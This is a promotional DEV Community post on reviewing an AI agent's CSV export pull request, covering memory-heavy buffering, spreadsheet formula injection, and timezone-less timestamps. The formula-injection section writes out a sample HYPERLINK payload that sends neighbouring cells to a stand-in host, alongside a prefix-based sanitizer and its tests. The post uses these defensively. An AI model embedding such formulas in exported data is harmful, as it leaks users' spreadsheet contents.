DEV Community

Jordan Li
Jordan Li

Posted on

Reviewing an Agent's CSV Export PR: Memory Spikes, Formula Injection, and Timezone Drift

An admin asked for one button. "Export orders to CSV." An agent produced a 180-line PR in minutes. The smoke test passed on twelve rows.

The reviewer approved nothing. Three defects sat under the green checkmark. One buffered every row twice. One let a customer note start a spreadsheet formula. One wrote every timestamp without an offset.

This post walks the triage any agent-generated export PR deserves: what to trust, what to revert, what to test. Code is Python with asyncpg and FastAPI. The method ports to any stack.

Disclosure: This article was prepared as part of MonkeyCode's product outreach.

1. The diff, as submitted

@router.get('/admin/export/orders.csv')
async def export_orders(db):
    rows = await db.fetch('SELECT id, email, total, created_at, note FROM orders')
    buf = io.StringIO()
    w = csv.writer(buf)
    w.writerow(['id', 'email', 'total', 'created_at', 'note'])
    for r in rows:
        w.writerow([r['id'], r['email'], r['total'], r['created_at'].isoformat(), r['note']])
    return Response(buf.getvalue(), media_type='text/csv')
Enter fullscreen mode Exit fullscreen mode

Read it once, slowly, at db.fetch. That call materializes the full table. Then StringIO holds a second copy. Then getvalue() makes a third.

The route is correct for a demo table. It is a memory incident for a real orders table.

2. Triage: trust, revert, test

Diff area Verdict Why
Route path and CSV headers Trust Names match the admin UI and the support runbook
csv.writer usage Trust Correct escaping of quotes and commas
db.fetch of the whole table Revert Loads the full result set before the first byte
Response(getvalue()) Revert No streaming, no backpressure, no early flush
created_at.isoformat() Test Silent offset loss on naive datetimes
Cell values passed raw Test Formula injection via user-controlled text
Missing Content-Disposition Fix Browsers guess the filename otherwise

Three rows in that table justify the whole review. None of them fail the existing test suite.

3. Defect A: the export buffers everything

The reviewer measured instead of arguing. A seed script inserted 200,000 rows. tracemalloc recorded the peak during one request.

import tracemalloc

def test_export_peak_memory(client, seeded_orders):
    tracemalloc.start()
    with client.stream('GET', '/admin/export/orders.csv') as r:
        for _ in r.iter_bytes(65536):
            pass
    _, peak = tracemalloc.get_traced_memory()
    tracemalloc.stop()
    assert peak < 64 * 1024 * 1024
Enter fullscreen mode Exit fullscreen mode

Record the peak on the old code before changing anything. That number is the baseline for the review comment and the PR description.

The fix is a server-side cursor plus a generator. Rows leave the process while the query is still open.

BATCH = 1000

async def stream_orders(db):
    buf = io.StringIO()
    writer = csv.writer(buf)
    writer.writerow(HEADER)
    yield buf.getvalue()

    async with db.transaction():
        async for row in db.cursor(SELECT_ORDERS, prefetch=BATCH):
            buf.seek(0)
            buf.truncate(0)
            writer.writerow(to_row(row))
            yield buf.getvalue()
Enter fullscreen mode Exit fullscreen mode

Two details matter more than the generator itself.

  1. The cursor lives inside a transaction, or asyncpg will not hold it.
  2. prefetch caps the in-flight rows on the client side.

Return it with StreamingResponse(stream_orders(db), media_type='text/csv'). Set Content-Disposition: attachment; filename='orders.csv' explicitly.

4. Defect B: formula injection

CSV is not inert. A cell beginning with =, +, -, or @ becomes a formula in Excel and Sheets. A customer note of =HYPERLINK("http://x/?"&A1,"click") exfiltrates neighboring cells on open.

The agent wrote raw values. The reviewer added a sanitizer at the boundary.

DANGEROUS_PREFIX = ('=', '+', '-', '@', '\t', '\r')

def sanitize(value: str) -> str:
    if value and value[0] in DANGEROUS_PREFIX:
        return "'" + value
    return value
Enter fullscreen mode Exit fullscreen mode

Apply it to every free-text column. Do not apply it to integers you generated.

Test the exact strings, not the concept.

@pytest.mark.parametrize('cell', ['=1+1', '+A1', '-2+3', '@SUM(A1)', '\tcmd'])
def test_sanitizer_prefixes_dangerous_cells(cell):
    assert sanitize(cell).startswith("'")
Enter fullscreen mode Exit fullscreen mode

5. Defect C: timezone drift

datetime.isoformat() prints what it is given. A naive column prints without an offset. A reader in another zone parses it as local time.

The reviewer pinned one rule: storage is UTC, output carries an offset.

from datetime import timezone

def format_ts(ts):
    if ts.tzinfo is None:
        ts = ts.replace(tzinfo=timezone.utc)
    return ts.astimezone(timezone.utc).isoformat()
Enter fullscreen mode Exit fullscreen mode

Then assert the suffix. A golden-string test catches regressions in one line.

def test_timestamp_has_utc_offset():
    assert format_ts(datetime(2026, 11, 9, 4, 5, 6)).endswith('+00:00')
Enter fullscreen mode Exit fullscreen mode

Treat naive datetimes as a schema bug, not a formatting bug. Fix the column type and add a migration check.

6. The review loop, in order

Steps the reviewer ran, in the order they paid off.

  1. Seed a table larger than any demo: python -m scripts.seed_orders --rows 200000.
  2. Record peak memory on the unmodified branch.
  3. Reproject the route as a generator; keep the old path behind a flag.
  4. Diff both outputs with cmp on a fixed seed.
  5. Add sanitizer and timestamp tests before merging.
  6. Check headers with curl -sD- -o /dev/null http://localhost:8000/admin/export/orders.csv.
  7. Confirm chunked transfer, not a single Content-Length blob.

Step four is the one reviewers skip. Byte-identical output proves the rewrite is a refactor, not a behavior change.

7. Where the free tier fits

The agent drafted this PR on MonkeyCode's free model access. The reviewer then re-ran the memory test on the free server option, not on a laptop.

That split is the useful part. Generation is cheap. Verification needs a machine that stays up for a 200,000-row seed and a full pytest run.

Two limits apply. A free server is not production hardware, so compare shapes rather than absolute numbers. And treat every generated diff as unverified until your own harness prints a result.

The free model access and free server option fit review loops like this one, where the artifact and the test are the actual work.

8. Who should skip this approach

  • Teams without a seeded fixture. Memory tests on toy tables prove nothing.
  • Exports that must be signed or audited. Streaming complicates checksums.
  • Datasets small enough to fit in one page. db.fetch is fine there.
  • Anyone unwilling to run the harness. An unverified PR is a liability.

Closing

The agent's PR was not wrong everywhere. Route, headers, and CSV escaping were sound. The three defects were boundary issues: table size, cell content, and clock zone.

Review those boundaries first. Measure before you argue. Keep the sanitizer and the offset test after the rewrite lands.

Top comments (0)